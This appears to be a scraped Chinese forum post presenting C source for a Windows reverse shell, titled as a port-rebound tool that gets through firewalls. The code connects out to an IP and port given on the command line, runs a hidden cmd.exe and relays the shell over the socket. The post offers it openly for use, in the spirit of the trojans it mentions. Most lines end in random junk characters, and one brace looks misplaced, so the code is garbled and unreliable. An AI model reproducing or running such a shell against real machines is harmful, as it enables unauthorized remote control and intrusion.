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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L"('gc!W  
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/* ============================== TH6g:YP`7  
Rebound port in Windows NT <ygkK5#q  
By wind,2006/7 L:B&`,E  
===============================*/ -M[5K/[  
#include k`TEA?RfQ  
#include eKLxNw5  
PU-;Q@< E  
#pragma comment(lib,"wsock32.lib") (6JD<pBm  
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void OutputShell(); Ye1P5+W(  
SOCKET sClient; L {5zA5#m  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M(/%w"R  
Jnv91*>h8  
void main(int argc,char **argv) S!g&&RDx  
{ <y`yKXzBUV  
WSADATA stWsaData; ulVHsWg  
int nRet; n}?kQOg0/  
SOCKADDR_IN stSaiClient,stSaiServer; Ui1K66{  
'VF9j\a  
if(argc != 3) \8F$85g  
{ _G'.VSGH  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]`:Fj|>  
return; O`Z>Oon?  
} $wX5`d 1  
^s24f?3  
WSAStartup(MAKEWORD(2,2),&stWsaData); Iem* 'r  
9prG@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F /t;y\)  
o*dhks[  
stSaiClient.sin_family = AF_INET; ,Xb:f/lB  
stSaiClient.sin_port = htons(0); rU'&o) a^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #UGbSOoCtn  
oA42?I ^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8SKDL[rN  
{ [& hdyLt  
printf("Bind Socket Failed!\n"); ;l?>+m@H  
return; -G*u2i_*  
} v_G4:tY  
gw5CU)r4$  
stSaiServer.sin_family = AF_INET; I#9K/[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =#>P !  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qLPI^g,  
} 10Dvt>+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,cbP yg  
{ 2poU \|H  
printf("Connect Error!"); +  ^~n09  
return; /?by4v73P  
} A 7TP1  
OutputShell(); 9`vse>,-hg  
} 2@A7i<p  
;N4mR6  
void OutputShell() s!UC{)g,  
{ dn5T7a~   
char szBuff[1024]; /+66y=`UJ  
SECURITY_ATTRIBUTES stSecurityAttributes; /=-E`%R}!  
OSVERSIONINFO stOsversionInfo; 2U#OBvNU  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @c.QrKSaD  
STARTUPINFO stStartupInfo; Xv'64Nc!;  
char *szShell; tc# rL   
PROCESS_INFORMATION stProcessInformation; r4_ c~\jH  
unsigned long lBytesRead; ~%GUc ~  
5a_K|(~3I  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U>:p`@  
A}oR,$D-  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cvc.-7IO  
stSecurityAttributes.lpSecurityDescriptor = 0; B|!YGf L  
stSecurityAttributes.bInheritHandle = TRUE; 47t^{WrT  
9N-mIGJ  
[.6uw=;o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jPbL3"0A&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ 9$>N  
5@Rf]'1B0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0ED(e1K#B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f#5mX&j  
stStartupInfo.wShowWindow = SW_HIDE; 7AtJ6  
stStartupInfo.hStdInput = hReadPipe; 7Qq>?H -  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^ *m;![$[  
&uk?1Z#j  
GetVersionEx(&stOsversionInfo); 6i&WF<%D  
w+ _'BU1#  
switch(stOsversionInfo.dwPlatformId) )b5MP1H  
{ a0.)zgWr  
case 1: L x(Y=  
szShell = "command.com"; 1L^\TC  
break; +n%WmRf6!  
default: 9BHl 2<&V  
szShell = "cmd.exe"; @3b0hi4  
break; uT;9xV%ch  
} \N;s@j W  
dyu~T{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eaCEZHr$  
u6|7P<HUfb  
send(sClient,szMsg,77,0); #mtlgK'  
while(1) vY.p~3q :)  
{ ~/gqXT">  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;.m"y-  
if(lBytesRead) JJ[J'xl@  
{ q}+9$v  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K _y;<a]  
send(sClient,szBuff,lBytesRead,0); [j:%O|h  
} =SLJkw&w6  
else CJ%7M`zy  
{ Tw|=;m  
lBytesRead=recv(sClient,szBuff,1024,0); KS%xo6k.  
if(lBytesRead<=0) break; zJtYy4jI)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -LQ%)'J ZN  
} 'fZHtnmc0  
} L+d_+:w  
Y$% Ze]~  
return; 4xg%OH  
}
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